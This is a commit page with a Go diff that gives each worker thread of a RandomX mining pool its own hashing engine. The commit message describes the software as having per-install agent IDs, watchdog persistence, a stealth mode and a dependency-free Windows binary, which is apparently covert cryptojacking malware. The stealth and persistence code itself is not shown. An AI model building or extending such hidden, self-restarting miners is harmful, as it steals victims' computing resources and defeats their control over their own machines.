Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
@@ -19,7 +19,7 @@ type Pool struct {
|
||||
threads int
|
||||
cfg config.RuntimeConfig
|
||||
reporter *stats.Reporter
|
||||
engine *Engine
|
||||
engines []*Engine
|
||||
handler ShareHandler
|
||||
schedule *ScheduleGuard
|
||||
|
||||
@@ -37,11 +37,15 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
if threads <= 0 {
|
||||
threads = 1
|
||||
}
|
||||
engines := make([]*Engine, threads)
|
||||
for i := range engines {
|
||||
engines[i] = NewEngine()
|
||||
}
|
||||
return &Pool{
|
||||
threads: threads,
|
||||
cfg: cfg,
|
||||
reporter: reporter,
|
||||
engine: NewEngine(),
|
||||
engines: engines,
|
||||
handler: handler,
|
||||
schedule: NewScheduleGuard(cfg, reporter),
|
||||
stopCh: make(chan struct{}),
|
||||
@@ -59,15 +63,17 @@ func (p *Pool) SetJob(job *job.Job) {
|
||||
if seed == "" && len(job.Blob) >= 64 {
|
||||
seed = job.Blob[:64]
|
||||
}
|
||||
if err := p.engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
for _, engine := range p.engines {
|
||||
if err := engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) Start() {
|
||||
for i := 0; i < p.threads; i++ {
|
||||
p.wg.Add(1)
|
||||
go p.worker(i)
|
||||
go p.worker(i, p.engines[i])
|
||||
}
|
||||
go p.resourceGuard()
|
||||
}
|
||||
@@ -123,7 +129,7 @@ func (p *Pool) resourcesOK() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Pool) worker(id int) {
|
||||
func (p *Pool) worker(id int, engine *Engine) {
|
||||
defer p.wg.Done()
|
||||
|
||||
var nonce uint32 = uint32(id * 1000000)
|
||||
@@ -158,7 +164,7 @@ func (p *Pool) worker(id int) {
|
||||
break
|
||||
}
|
||||
|
||||
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
||||
hashHex, _, err := engine.HashAtNonce(nonce)
|
||||
if err != nil {
|
||||
log.Printf("[miner] hash error: %v", err)
|
||||
break
|
||||
|
||||
Reference in New Issue
Block a user